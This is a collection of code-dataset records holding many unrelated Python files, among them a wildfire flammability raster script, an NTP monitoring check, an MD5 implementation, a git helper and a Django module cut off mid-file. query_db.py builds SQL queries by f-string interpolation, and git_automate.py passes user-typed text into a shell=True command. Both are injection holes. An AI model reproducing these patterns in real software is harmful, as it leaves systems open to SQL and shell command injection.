flammability.\n\tArguments:\n\t\tfirescar_list = [list] string paths to all GeoTiff FireScar outputs to be processed\n\t\toutput_filename = [str] path to output relative flammability filename to be generated. \n\t\t\t\t\t\t* only GTiff supported. *\n\t\tncores = [int] number of cores to use if None multiprocessing.cpu_count() used.\n\t\tmask_arr = [numpy.ndarray] numpy ndarray with dimensions matching the rasters' arrays\n\t\t\t\t\tlisted in firescar_list and masked where 1=dontmask 0=mask (this is opposite\n\t\t\t\t\tnumpy mask behavior, but follows common GIS patterns ) * THIS MAY CHANGE. *\n\t\tmask_value = [numeric] single numeric value determining the value of the newly masked out\n\t\t\t\t\tregions. If None, the nodata value from the firescar outputs will be used and \n\t\t\t\t\tif this is an invalid value, it will be set to -9999.\n\t\tcrs=[dict] rasterio-compatible crs dict object i.e.: {'init':'epsg:3338'}\n\t\n\tReturns:\n\t\toutput_filename, with the side effect of the relative flammability raster being written to \n\t\tdisk in that location.\n\t'''\n\ttmp_rst = rasterio.open( firescar_list[0] )\n\t# tmp_arr = tmp_rst.read( 3 )\n\n\tif ncores == None:\n\t\tncores = multiprocessing.cpu_count()-1\n\n\tout = sum_firescars( firescar_list, ncores=ncores )\n\n\t# calculate the relative flammability\n\trelative_flammability = ( out / float( len( firescar_list ) ) ) \n\n\tif mask_value == None:\n\t\tmask_value = tmp_rst.nodata\n\t\tif mask_value == None or mask_value == '':\n\t\t\tprint( 'setting mask_value to -9999')\n\t\t\tmask_value = -9999\n\n\tmeta = tmp_rst.meta\n\t# pop out transform to overcome warning\n\tif 'transform' in meta.keys():\n\t\t_ = meta.pop( 'transform' )\n\n\tif mask_arr is not None:\n\t\trelative_flammability[ mask_arr == 0 ] = mask_value\n\n\tmeta.update( compress='lzw', count=1, dtype='float32', nodata=mask_value )\n\n\tif crs:\n\t\tmeta.update( crs=crs )\n\n\twith rasterio.open( output_filename, 'w', **meta ) as out:\n\t\tout.write( relative_flammability.astype( np.float32 ), 1 )\n\n\treturn output_filename\n\nif __name__ == '__main__':\n\timport glob, os\n\timport numpy as np\n\timport multiprocessing, rasterio\n\timport argparse\n\n\tparser = argparse.ArgumentParser( description='program to calculate Relative Flammability from ALFRESCO' )\n\tparser.add_argument( '-p', '--maps_path', action='store', dest='maps_path', type=str, help='path to ALFRESCO output Maps directory' )\n\tparser.add_argument( '-o', '--output_filename', action='store', dest='output_filename', type=str, help='path to output directory' )\n\tparser.add_argument( '-nc', '--ncores', action='store', dest='ncores', type=int, help='number of cores' )\n\tparser.add_argument( '-m', '--mask', nargs='?', const=1, default=None, action='store', dest='mask', type=str, help='path to mask raster if desired.' )\n\n\targs = parser.parse_args()\n\t\n\tmaps_path = args.maps_path\n\toutput_filename = args.output_filename\n\tncores = args.ncores\n\tif args.mask:\n\t\tmask = rasterio.open( args.mask )\n\n\tfirescar_list = list_files( maps_path, wildcard='FireScar_' )\n\trelflam_fn = relative_flammability( firescar_list, output_filename, ncores=ncores, crs={'init':'epsg:3338'} ) # mask_arr=mask.read(1), mask_value=-9999\n\tprint( 'completed: %s' % output_filename )\n\n\n\n# # TEST\n# maps_path = '/workspace/Shared/Users/malindgren/SERDP/test_fire'\n# output_filename = '/workspace/Shared/Users/malindgren/ALFRESCO/relative_flammability_test_async.tif'\n# ncores = 64\n# # ENDTEST\n","sub_path":"bin/old_bin_scripts_cleanup/alfresco_relative_flammability_async.py","file_name":"alfresco_relative_flammability_async.py","file_ext":"py","file_size_in_byte":6341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"442200202","text":"from datetime import datetime\nimport logging\nfrom logging import config\nimport os\nfrom glob import glob\n\ndef setLogFileName(base, ext='log', date=False, fmt='%Y.%m.%d_%H%M'):\n \"\"\"\n Returns the filename with base as name and ext as extention\n If date=True, then returns the name as base + date in format base_yyyy.mm.dd_hhmi\n \"\"\"\n if date==False:\n return base + '.' + ext\n else:\n return base + '_' + datetime.now().strftime(fmt) + '.' + ext\n\ndef log_init(logconfig, loggerName, logfileName, level='debug'):\n\n levels = {'debug': logging.DEBUG,\n 'info': logging.INFO,\n 'warning': logging.WARNING,\n 'error': logging.ERROR,\n 'critical': logging.CRITICAL }\n\n logging.config.fileConfig(logconfig, {\"disable_existing_loggers\": False, \"logname\": logfileName})\n\n\n # create logger\n logger = logging.getLogger(loggerName)\n logger.setLevel(levels[level])\n\n return logger\n\ndef get_file_list(root, ext=[], ex_ext=[], ex_dir=[], dirs=False, recurse=False):\n '''\n root root directory\n ext if ext is [] then return all extensions\n otherwise, return files of type in ext\n ex_ext exclude these extensions from search\n ex_dir exclude these directory trees from search\n dirs if True, return dirs also,\n if False, return all files only\n recurse recursively searches directories\n '''\n directories=[]\n directories.append(root)\n\n filelist=[]\n\n if recurse == True:\n # get directory list to search, excluding any in ex_dirs\n for path, dirs, files in os.walk(root):\n for dir in dirs:\n if os.path.isdir(os.path.join(path, dir))==True:\n if len(ex_dir)>0:\n for e in ex_dir:\n if not e in os.path.join(path, dir):\n directories.append(os.path.join(path, dir))\n else:\n directories.append(os.path.join(path, dir))\n\n for dir in directories:\n # if ext are specified remove excluded exts from ext list to search for\n ext = [x for x in ext if x not in ex_ext]\n print('ext:',ext)\n if len(ext) != 0:\n files = filter(\n lambda x: os.path.splitext(x)[1][1:] in ext,\n glob(os.path.join(dir, '*'))\n )\n else:\n if dirs:\n files = glob(os.path.join(dir, '*'))\n else:\n files = glob(os.path.join(dir, '*.*'))\n\n # concatenate results of this directory\n filelist = filelist + files\n\n # remove files with ext in ex_ext\n for f in filelist:\n if os.path.splitext(f)[1][1:] in ex_ext:\n filelist.remove(f)\n\n return filelist\n\ndef sec2time(sec, n_msec=3):\n ''' Convert seconds to 'D days, HH:MM:SS.FFF' '''\n if hasattr(sec,'__len__'):\n return [sec2time(s) for s in sec]\n m, s = divmod(sec, 60)\n h, m = divmod(m, 60)\n d, h = divmod(h, 24)\n if n_msec > 0:\n pattern = '%%02d:%%02d:%%0%d.%df' % (n_msec+3, n_msec)\n else:\n pattern = r'%02d:%02d:%02d'\n if d == 0:\n return pattern % (h, m, s)\n return ('%d days, ' + pattern) % (d, h, m, s)","sub_path":"pangolinx/pangolin.py","file_name":"pangolin.py","file_ext":"py","file_size_in_byte":3293,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"226062863","text":"import sys\nimport connect as con\ncur = con.cursor\n\n\n \ndef save_docs(doc,label):\n try:\n cur.execute(f\"INSERT INTO all_docs (doc,label) VALUES ('{doc}','{label}') \")\n print(\"Document saved successfully\")\n except:\n print(sys.exc_info()[1])\n\ndef get_doc_by_label(label):\n return con.return_tables(f\"\"\"SELECT doc, label FROM all_docs WHERE label= '{label}';\"\"\")\n\n\n\ndef get_all_tfidf():\n return con.return_tables(\"\"\"SELECT * FROM tfidf\"\"\")\n\n\n\ndef get_score_term_by_label(list_tfidf):\n cur.execute(f\"\"\"SELECT score FROM tfidf WHERE term= '{list_tfidf[0]}' AND label = '{list_tfidf[1]}';\"\"\")\n rows = cur.fetchall()\n result = []\n [result.append(row[0]) for row in rows]\n if len(result) == 0:\n print(\"term or label does not exist\")\n else:\n return result\n\n\n\n\ndef get_count_doc(label):\n cur.execute(f\"\"\"SELECT * FROM all_docs WHERE label = '{label}';\"\"\")\n return cur.rowcount\n\ncon.conn.commit()\nif __name__ == '___main__':\n\n\n cur.close()\n con.conn.close()\n","sub_path":"inetgration/query_db.py","file_name":"query_db.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"142890914","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport codecs\nimport sys\nimport textwrap\n\nimport xml.etree.ElementTree as ET\n\nif sys.platform == \"win32\" and sys.stdout.encoding != 'cp65001':\n sys.stdout = codecs.getwriter('cp65001')(sys.stdout.buffer, 'strict')\n\nclass bcolors:\n \"\"\"\n Script used by blender to define terminal output colours\n\n See: https://svn.blender.org/svnroot/bf-blender/trunk/blender/build_files/scons/tools/bcolors.py\n \"\"\"\n HEADER = '\\033[95m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\nif __name__ == '__main__':\n \"\"\"\n This script is used to parse the unit testing output produced by Unity when\n run in batchmode, and returning an error-code if any of the unit tests\n failed.\n \"\"\"\n\n # Retrieve where the test file to be read is located\n test_result_location = sys.argv[1]\n print(\"Analyzing tests at: \" + test_result_location + \"\\n\")\n tree = ET.parse(test_result_location)\n\n root = tree.getroot()\n\n test_metadata = root.attrib\n unit_tests_name = test_metadata[\"name\"]\n\n total_tests = int(test_metadata[\"total\"])\n errored_tests = int(test_metadata[\"errors\"])\n failed_tests = int(test_metadata[\"failures\"])\n inconclusive_tests = int(test_metadata[\"inconclusive\"])\n not_run_tests = int(test_metadata[\"not-run\"])\n ignored_tests = int(test_metadata[\"ignored\"])\n invalid_tests = int(test_metadata[\"invalid\"])\n successful_tests = total_tests - (errored_tests + failed_tests + not_run_tests + inconclusive_tests + ignored_tests + invalid_tests)\n\n #Complete summary printed at end for ease-of-reading\n complete_summary = \"{} Tests: {}, Successful: {}, Errors: {}, Failures: {}, Not Run: {}, Inconclusive: {}, Ignored: {}, Invalid: {}\".format(\n unit_tests_name, total_tests, successful_tests, errored_tests, failed_tests, not_run_tests, inconclusive_tests, ignored_tests, invalid_tests\n )\n\n tests = root[2][0];\n\n for test in tests:\n test_values = test.attrib\n test_name = test_values[\"name\"]\n test_executed = True if test_values[\"executed\"] == \"True\" else False\n test_result = test_values[\"result\"]\n test_success = True if test_values[\"success\"] == \"True\" else False\n test_summary = \"\"\n if(test_success):\n test_summary = bcolors.OKGREEN + \"✓ \" + bcolors.ENDC + test_name + \" has succeeded\"\n print(test_summary)\n else:\n test_summary = bcolors.FAIL + \"✘ \" + bcolors.ENDC + test_name + \" has failed:\"\n print(test_summary)\n print(\"\\tMessage:\" + textwrap.indent(test[0][0].text, \"\\t\"))\n print(\"\\tStack Trace:\" + textwrap.indent(test[0][1].text, \"\\t \"))\n\n print(complete_summary)\n\n #Not all unit tests succeeded, exit with error\n if(successful_tests != total_tests):\n sys.exit(1)\n else:\n sys.exit(0)\n","sub_path":"scripts/testResultParser.py","file_name":"testResultParser.py","file_ext":"py","file_size_in_byte":2981,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"542459912","text":"#!/usr/bin/env python3\n\n\"\"\"\n by Aleksey Gavrilov \n\n\"\"\"\n\nfrom optparse import OptionParser\nimport sys\nimport subprocess\n\ncheck_ver = '0.1'\n\n# Parse commandline options:\nparser = OptionParser(usage=\"%prog [ -w ] [ -c ] [ -h ]\",version=\"%prog \" + check_ver)\nparser.add_option(\"-w\", \"--warning\",\n action=\"store\",\n type=\"float\",\n default=0.1,\n dest=\"warn_threshold\",\n help=\"Warning threshold in second\")\nparser.add_option(\"-c\", \"--critical\",\n action=\"store\",\n type=\"float\",\n default=0.2,\n dest=\"crit_threshold\",\n help=\"Critical threshold in second\")\nparser.add_option(\"-p\", \"--pool\",\n action=\"store\",\n type=\"string\",\n default=\"pool.ntp.org\",\n dest=\"pool\",\n help=\"ntp server default=pool.ntp.org\")\n(options, args) = parser.parse_args()\n\ndef ntpdate():\n outs = subprocess.check_output( [ '/usr/sbin/ntpdate', '-q', options.pool ] )\n for x in outs.decode(\"utf-8\").splitlines():\n if 'ntpdate' in x:\n return float(x.split(\" \")[-2])\n\ndef go():\n if not options.crit_threshold:\n print(\"UNKNOWN: Missing critical threshold value.\")\n sys.exit(3)\n if not options.warn_threshold:\n print(\"UNKNOWN: Missing warning threshold value.\")\n sys.exit(3)\n if options.crit_threshold <= options.warn_threshold:\n print(\"UNKNOWN: Critical percentage can't be equal to or bigger than warning second.\")\n sys.exit(3)\n time = ntpdate()\n rezult_str = \" Offset {0} secs|offset={0}s;{1};{2};\".format(time,options.warn_threshold,options.crit_threshold)\n if abs(time) >= float(options.crit_threshold):\n print(\"NTP CRITICAL:\"+ rezult_str)\n sys.exit(2)\n elif abs(time) >= float(options.warn_threshold):\n print(\"NTP WARNING:\"+ rezult_str)\n sys.exit(1)\n else:\n print(\"NTP OK:\"+ rezult_str)\n sys.exit(0)\n\nif __name__ == '__main__':\n go()\n\n","sub_path":"files/nagios-plugins/check_ntpdate.py","file_name":"check_ntpdate.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"536564399","text":"# Script Name\t: No4_MedianofTwoSortedArrays.py\n# Author\t\t\t: dytan\n# Created\t\t\t: 14th April 2016\n# Version\t\t\t: 1.0.0\n# Description\t\t: This will find the median of two sorted arrays\n\n\ndef findMedianSortedArrays(nums1,nums2):\n if (nums1==[])&(nums2==[]):\n return False\n\n l1=len(nums1)\n l2=len(nums2)\n if (l1+l2)%2==0:\n val1=findthekth(nums1,nums2,l1,l2,(l1+l2)//2)\n val2=findthekth(nums1,nums2,l1,l2,(l1+l2)//2+1)\n median=(val1+val2)/2\n else:\n median=findthekth(nums1,nums2,l1,l2,(l1+l2)//2+1) \n \n return median\n\n\n# find the k-th sorted number of mums1 and nums2\n# l1: len(nums1)\n# l2: len(nums2)\n# return the value\n\ndef findthekth(nums1,nums2,l1,l2,k):\n if l1>l2:\n return findthekth(nums2,nums1,l2,l1,k)\n if l1==0:\n return nums2[k-1]\n if k==1:\n return min(nums1[0],nums2[0]) \n \n '''\n compare nums1[k/2-1] and nums2[k/2-1]\n case nums1[k/2-1]nums2[pb-1]:\n return findthekth(nums1,nums2[pb:],l1,l2-pb,k-pb)\n else:\n return nums1[pa-1] \n \n \n \n'''def getMedian(nums):\n if (nums==[]):\n return False\n length=len(nums)\n loc=length//2\n if (length%2==0):\n return (nums[loc-1]+nums[loc])/2\n return nums[loc]'''\n \n\nn1=[]\nn2=[2,3]\n\nprint(findMedianSortedArrays(n1,n2))","sub_path":"No4_MedianofTwoSortedArrays.py","file_name":"No4_MedianofTwoSortedArrays.py","file_ext":"py","file_size_in_byte":1557,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"160575159","text":"# -*- coding: utf-8 -*-\n#$Id: ATCTSSTestCase.py 91 2006-03-09 16:24:08Z taka $\n#############################################################################\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n#\n##############################################################################\n\n#\n# ATCTSSTestCase test setup\n#\n\nfrom Products.PloneTestCase import PloneTestCase\n\nPRODUCTS = ['Archetypes', 'ATContentTypes', 'ATCTSmallSample']\n\nPloneTestCase.installProduct('ATCTSmallSample')\nPloneTestCase.setupPloneSite(products=PRODUCTS)\n\n\nclass ATCTSSTestCase(PloneTestCase.PloneTestCase):\n\n defaultTitle = 'Default Testing Title'\n\n def afterSetUp(self):\n self._createSmallContent(self.folder)\n\n def _createSmallContent(self, folder, id='small', title=defaultTitle):\n \"\"\"Creates and returns a refence to a SmallContent.\n This method publishes a SmallContent instance under folder. It fills in\n all of the standard properties.\"\"\"\n folder.invokeFactory('SmallContent',\n id=id,\n title=title,\n description='A SmallContent instance for unit tests.',\n )\n small = getattr(folder, id)\n self.portal.portal_workflow.doActionFor(small, 'submit')\n return small\n\n def uninstallProduct(self, product_name):\n # Removes a product\n tool = getattr(self.portal, 'portal_quickinstaller')\n if tool.isProductInstalled(product_name):\n tool.uninstallProducts([product_name])\n\n","sub_path":"site/STProduct/tests/ATCTSSTestCase.py","file_name":"ATCTSSTestCase.py","file_ext":"py","file_size_in_byte":2222,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"628675176","text":"#!/usr/bin/env python3\r\nimport math\r\nimport binascii\r\n\r\n# Hàm công cụ\r\nbin_to_words = lambda x: [x[4 * i:4 * (i + 1)] for i in range(len(x) // 4)]\r\nwords_to_bin = lambda x: b''.join(x)\r\nword_to_int = lambda x: int.from_bytes(x, 'little')\r\nint_to_word = lambda x: x.to_bytes(4, 'little')\r\nbin_to_int = lambda x: list(map(word_to_int, bin_to_words(x)))\r\nint_to_bin = lambda x: words_to_bin(map(int_to_word, x))\r\nmod32bit = lambda x: x % 2 ** 32\r\nrotleft = lambda x, n: (x << n) | (x >> (32 - n))\r\n\r\n# Trạng thái ban đầu\r\nIHV0_HEX = '0123456789abcdeffedcba9876543210'\r\nIHV0 = bin_to_int(binascii.unhexlify(IHV0_HEX.encode()))\r\n\r\n# Hằng số\r\nBLOCK_SIZE = 64 # 512 bits (64 bytes)\r\nROUNDS = BLOCK_SIZE\r\n\r\n# Hằng số tại mỗi bước\r\nAC = [int(2 ** 32 * abs(math.sin(t + 1))) for t in range(ROUNDS)]\r\n\r\n# Hằng số xoay bit\r\nRC = [7, 12, 17, 22] * 4 + [5, 9, 14, 20] * 4 + [4, 11, 16, 23] * 4 + [6, 10, 15, 21] * 4\r\n\r\n# Hàm phi tuyến\r\nF = lambda x, y, z: (x & y) ^ (~x & z)\r\nG = lambda x, y, z: (z & x) ^ (~z & y)\r\nH = lambda x, y, z: x ^ y ^ z\r\nI = lambda x, y, z: y ^ (x | ~z)\r\nFx = [F] * 16 + [G] * 16 + [H] * 16 + [I] * 16\r\n\r\n# Tách dữ liệu\r\nM1 = lambda t: t\r\nM2 = lambda t: (1 + 5 * t) % 16\r\nM3 = lambda t: (5 + 3 * t) % 16\r\nM4 = lambda t: (7 * t) % 16\r\nMx = [M1] * 16 + [M2] * 16 + [M3] * 16 + [M4] * 16\r\nWx = [mxi(i) for i, mxi in enumerate(Mx)]\r\n\r\n# Vòng lặp xử lý chính\r\nRoundQNext = lambda w, q, i: mod32bit(\r\n q[0] + rotleft(mod32bit(Fx[i](q[0], q[1], q[2]) + q[3] + AC[i] + w[Wx[i]]), RC[i]))\r\nDoRounds = lambda w, q, i: DoRounds(w, [RoundQNext(w, q, i)] + q[:3], i + 1) if (i < ROUNDS) else q\r\nMD5CompressionInt = lambda ihvs, b: [mod32bit(ihvsi + qi) for ihvsi, qi in zip(ihvs, DoRounds(bin_to_int(b), ihvs, 0))]\r\narrSh = lambda x: [x[1], x[2], x[3], x[0]]\r\narrUs = lambda x: [x[3], x[0], x[1], x[2]]\r\nMD5Compression = lambda ihv, b: arrUs(MD5CompressionInt(arrSh(ihv), b))\r\n\r\n\r\nclass MD5:\r\n def __init__(self, data=None):\r\n self._ihv = IHV0\r\n self.bits = 0\r\n self.buf = b''\r\n if data:\r\n self.update(data)\r\n\r\n def update(self, data):\r\n self.bits += len(data) * 8\r\n self.buf += data\r\n while len(self.buf) >= BLOCK_SIZE:\r\n to_compress, self.buf = self.buf[:BLOCK_SIZE], self.buf[BLOCK_SIZE:]\r\n self._ihv = MD5Compression(self._ihv, to_compress)\r\n\r\n def ihv(self):\r\n return int_to_bin(self._ihv)\r\n","sub_path":"md5.py","file_name":"md5.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"466506235","text":"from subprocess import *\n\n\nwhile True:\n print(\"What do you want to do with your git file\")\n print(\"Please Select from the following Input\")\n print(\"1. To Check the Status of the Git\")\n print(\"2. To add files to the Git Repository\")\n print(\"3. To Commit your Files\")\n print(\"4. To Pull files from Git Repository\")\n print(\"5. To Push the files into the repository\")\n print(\"Anything Else to Exit\")\n user_choice = input()\n\n if user_choice == '1':\n status = Popen(\"git status\", shell=True)\n status.wait()\n\n elif user_choice == '2':\n add = Popen('git add .', shell=True)\n add.wait()\n\n elif user_choice == '3':\n print(\"Enter you committing message\")\n message = input()\n comm = 'git commit -m ' + '\"' + message + '\"'\n commit = Popen(comm, shell=True)\n commit.wait()\n\n elif user_choice == '4':\n pull = Popen('git pull', shell=True)\n pull.wait()\n\n elif user_choice == '5':\n push = Popen('git push', shell=True)\n push.wait()\n\n else:\n break\n","sub_path":"git_automate.py","file_name":"git_automate.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"272318701","text":"# -*- coding: utf-8 -*-\n\"\"\"\ncreate at:17-3-17 下午5:14\ncreate by:duanyuping\ncreate for:\n ┏┓ ┏┓\n ┏┛┻━━━┛┻┓\n ┃ ☃ ┃\n ┃ ┳┛ ┗┳ ┃\n ┃ ┻ ┃\n ┗━┓ ┏━┛\n ┃ ┗━━━┓\n ┃ 神兽保佑 ┣┓\n ┃ 永无BUG! ┏┛\n ┗┓┓┏━┳┓┏┛\n ┃┫┫ ┃┫┫\n ┗┻┛ ┗┻┛\n\"\"\"\nfrom bs4 import BeautifulSoup\n\nwith open(\"/home/hadoop/PycharmProjects/finance/data/fxcm.html\",\"r\") as ecological_pyramid:\n soup = BeautifulSoup(ecological_pyramid, \"lxml\")\n table = soup.find_all(\"table\")\n print(table)","sub_path":"demo/demo1.py","file_name":"demo1.py","file_ext":"py","file_size_in_byte":607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"352832250","text":"from django.conf.urls import url\nfrom . import views\nfrom django.views.generic import RedirectView\n\nurlpatterns = [\n url(r'^$',views.products_list, name='products_list'),\n url(r'^post/(?P\\d+)/$', views.post_detail, name='post_detail'),\n url(r'^post/new/$', views.post_new, name='post_new'),\n url(r'^about/$', views.about, name='about'),\n url(r'^contacts/$', views.contacts, name='contacts'),\n url(r'^product/(?P\\d+)/$', views.product_detail, name='product_detail'),\n # url(r'^?name=/$', views.products_list, name='products_list')\n\n]\n","sub_path":"shop/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":572,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"190613403","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('dash/',views.home, name = 'earn-home'),\n path('withdraw/',views.withdraw, name = 'withdraw'),\n path('quiz/', views.quiz, name = 'quiz'),\n path('quiz1/', views.quiz1, name = 'quiz1'),\n path('credit/', views.credit, name = 'credit'),\n path('spin/', views.spin, name = 'spin'),\n path('patt/', views.patt, name = 'patt'),\n path('treas/', views.treasure, name = 'treas'),\n path('adv/', views.advert, name = 'adv'),\n\n\n\n\n]","sub_path":"earn/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"623305273","text":"#Programa que simule proceso login\n#Si pone mal contraseña, no continue hasta que ponga bien\n#Luego determinar un número finito de intentos\n\nsupuesta_contra = '12345'\n#La supuesta contraseña, es a propósito un String, ya que el usuario\n#Deberá ingresar un string de cualquier manera\n#Y, en teoría no deberíamos saber\n\n\nprint(''' \n SISTEMA DE CONTROL\n Nos encargaremos de reducir comportamientos\n inadecuados para el ambiente.\n Por favor no se resista. \n''')\n\n\nusuario = input('Ingrese su nombre de usuario:\\t ')\ncontra = input('Ingrese su contraseña: \\t')\nintentos = 5\n\nwhile contra != supuesta_contra:\n intentos = intentos - 1\n if intentos == 0:\n print('Se les acabaron los intentos, deberá reestablecer sus datos')\n break\n\n print(f'Contraseña incorrecta, le quedan {intentos} intentos')\n contra = input('Ingrese nuevamente su contraseña por favor \\t')\n\nif contra == supuesta_contra:\n print('Muy bien, estamos revisando su teléfono Movil')\n\n\n","sub_path":"Estructuras iterativas/Desafios/1_contraseña.py","file_name":"1_contraseña.py","file_ext":"py","file_size_in_byte":999,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"419669438","text":"import urllib\nimport StringIO\nimport Image\n\ni = 1\n\nwhile i < 99:\n\tpage = \"http://cdn.japscan.com/lecture-en-ligne/Young%20GTO/Scan%20Young%20GTO%20Tome%202%20VF/young%20gto%20-%20tome%2002%20-%200\"\n\tn = str(i)\n\tif (i < 10):\n\t\tpage = (page + '0' + n + '.jpg')\n\t\tname = ('00' + n + '.jpg')\n\telse :\n\t\tpage = (page + n + '.jpg')\n\t\tname = ('0' + n + '.jpg')\n\n\t#print (page)\n\tsource = urllib.urlopen(page)\n\tbuffer = source.read()\n\tim = Image.open(StringIO.StringIO(buffer))\n\tim.save (name)\n\ti = i + 1\n\tprint ('done') \n","sub_path":"Download.py","file_name":"Download.py","file_ext":"py","file_size_in_byte":512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"132169442","text":"import unittest\nimport pandas as pd\nimport numpy as np\n# import sys\n# sys.path.insert(0, \"..\")\nimport maxlike\nfrom maxlike.func import Encode, Vector, Linear\n\n\nclass Test(unittest.TestCase):\n\n def test_poisson(self):\n mle = maxlike.Poisson()\n mle.verbose = False\n mle.model = maxlike.func.Sum(3)\n mle.model.add(0, 0, Encode())\n mle.model.add(1, 1, -Encode())\n mle.add_constraint([0, 1], Linear([1, 1]))\n mle.model.add(2, 2, Vector(np.arange(2) - .5))\n g = pd.read_csv(\"test_data1.csv\", index_col=[0, 1, 2])['g']\n prepared_data, _ = maxlike.utils.prepare_series(\n g, {'N': np.size, 'X': np.sum})\n h = g.groupby(level='h').mean().map(np.log).reset_index().prod(1).sum()\n log_mean = np.log(g.mean()) / 2\n a = g.groupby(level='t1').mean().map(np.log) - log_mean\n b = log_mean - g.groupby(level='t2').mean()\n a_fix = 2\n b_fix = 3\n a[a_fix] = 1\n b[b_fix] = -1\n mle.add_param(a.values, np.arange(a.size) == a_fix)\n mle.add_param(b.values, np.arange(b.size) == b_fix)\n mle.add_param(h, False)\n tol = 1e-8\n mle.fit(tol=tol, **prepared_data)\n a, b, h = mle.params_\n s_a, s_b, s_h = mle.std_error()\n self.assertAlmostEqual(h.data, 0.3496149212379256, delta=tol)\n self.assertAlmostEqual(s_h, 0.0804417430336552, delta=tol)\n df = pd.read_csv(\"test_results1.csv\")\n self.assertTrue(np.allclose(a, df['a'].values, atol=tol))\n self.assertTrue(np.allclose(b, df['b'].values, atol=tol))\n self.assertTrue(np.allclose(s_a, df['s_a'].values, atol=tol))\n self.assertTrue(np.allclose(s_b, df['s_b'].values, atol=tol))\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"414119486","text":"\"\"\"empty message\n\nRevision ID: 159d5b0091b5\nRevises: 4b4086065311\nCreate Date: 2016-08-26 17:51:55.178290\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '159d5b0091b5'\ndown_revision = '4b4086065311'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('configuration', sa.Column('conf_type', sa.String(length=30), nullable=True))\n op.add_column('configuration', sa.Column('value', sa.String(length=30), nullable=True))\n op.drop_column('configuration', 'type_conf')\n op.drop_column('configuration', 'values')\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('configuration', sa.Column('values', mysql.VARCHAR(length=30), nullable=True))\n op.add_column('configuration', sa.Column('type_conf', mysql.VARCHAR(length=30), nullable=True))\n op.drop_column('configuration', 'value')\n op.drop_column('configuration', 'conf_type')\n ### end Alembic commands ###\n","sub_path":"migrations/versions/159d5b0091b5_.py","file_name":"159d5b0091b5_.py","file_ext":"py","file_size_in_byte":1099,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"394132668","text":"import sys, os\nimport numpy as np\ntry:\n A = sys.argv[1].split('\\n')\n for i in range(len(A)):\n A[i] = list(map(float, A[i].split()))\n\n if len(A) != len(A[0]):\n raise Exception('A should be a square matrix')\n n = len(A)\n A = np.array(A)\n R = [[0 for i in range(n)] for j in range(n)]\n for i in range(n):\n for j in range(n):\n a00 = A[:i, :j]\n a01 = A[:i, j+1:]\n a10 = A[i+1:, :j]\n a11 = A[i+1:, j+1:]\n a0 = np.concatenate((a00, a01), axis=1)\n a1 = np.concatenate((a10, a11), axis=1)\n a = np.concatenate((a0, a1), axis=0)\n R[i][j] = ((-1)**(i+j))*(np.linalg.det(a))\n R = np.array(R)\n R = R.transpose()\n print(len(R))\n print(len(R[0]))\n print(R.flatten())\nexcept Exception as e:\n print(0)\n print(e)\nsys.stdout.flush()\n","sub_path":"engine/adj.py","file_name":"adj.py","file_ext":"py","file_size_in_byte":864,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"303412254","text":"# -*- coding: utf-8 -*-\n\nfrom os.path import join\nfrom exceptions import NotImplementedError\n\nfrom django.shortcuts import get_object_or_404\nfrom django.http import HttpResponse\nfrom django.core.urlresolvers import reverse\nfrom django.utils import simplejson as json\nfrom django.conf import settings\nfrom django.views.decorators.http import require_http_methods, require_POST\nfrom django.views.decorators.csrf import csrf_exempt\n\nfrom .models import Imagenes\nimport githelper\nimport main.interface\nimport 